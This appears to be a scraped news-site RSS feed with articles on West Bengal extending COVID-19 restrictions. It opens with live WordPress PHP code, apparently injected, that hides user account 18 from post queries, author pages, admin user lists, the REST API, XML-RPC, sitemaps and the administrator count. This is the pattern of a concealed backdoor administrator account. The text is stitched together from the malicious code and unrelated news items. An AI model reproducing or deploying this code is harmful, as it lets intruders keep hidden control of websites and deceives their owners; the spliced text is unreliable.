add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post COVID-19 restrictions extends in West Bengal till August 30 appeared first on The Edge Media.
]]>The restrictions, first imposed on May 16 amid the second wave of the pandemic and extended at regular intervals, were about to expire on August 15.
“The COVID-19 situation in Bengal is quite good but the danger of the third wave is still lurking. This is one of the reasons we have not allowed local trains,” Ms Banerjee said, addressing a press conference.
So, we have decided to extend the ongoing COVID-19 restrictions for 15 more days till August 30,” she added.
The Chief Minister announced that the night hours during which stringent restrictions are imposed will be reduced.
“We have decided a few relaxations – such as full lockdown during the night will now be from 11 pm to 5 am, instead of 9 pm to 5 am,” she said.
Ms Banerjee said the state was not getting the required doses of vaccines.
If we get vaccines, we can at least ensure one dose of vaccine for the rural population and then we can allow local trains,” she said.
To decongest the prisons, Ms Banerjee announced that her government will release 73 life convicts.
On August 2, we had announced to prematurely release 63 life convicts on humanitarian grounds. Today, we have decided to release 73 more life convicts,” she said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post COVID-19 restrictions extends in West Bengal till August 30 appeared first on The Edge Media.
]]>The post West Bengal extends Covid – 19 restrictions till August 15 appeared first on The Edge Media.
]]>The restrictions, which were imposed under the provisions of the Disaster Management Act 2005 and West Bengal Epidemic Disease, Covid Regulations 2020 were earlier announced till July 30.
The new order announced on Thursday allows indoor government events with not more than 50 per cent occupancy of the total seating capacity.
All outdoor activities including the movement of people and vehicles remain strictly prohibited between 9 pm and 5 am.
However, health and emergency services, law and order, and essential commodities have been kept out of the purview of night-time restrictions.
The post West Bengal extends Covid – 19 restrictions till August 15 appeared first on The Edge Media.
]]>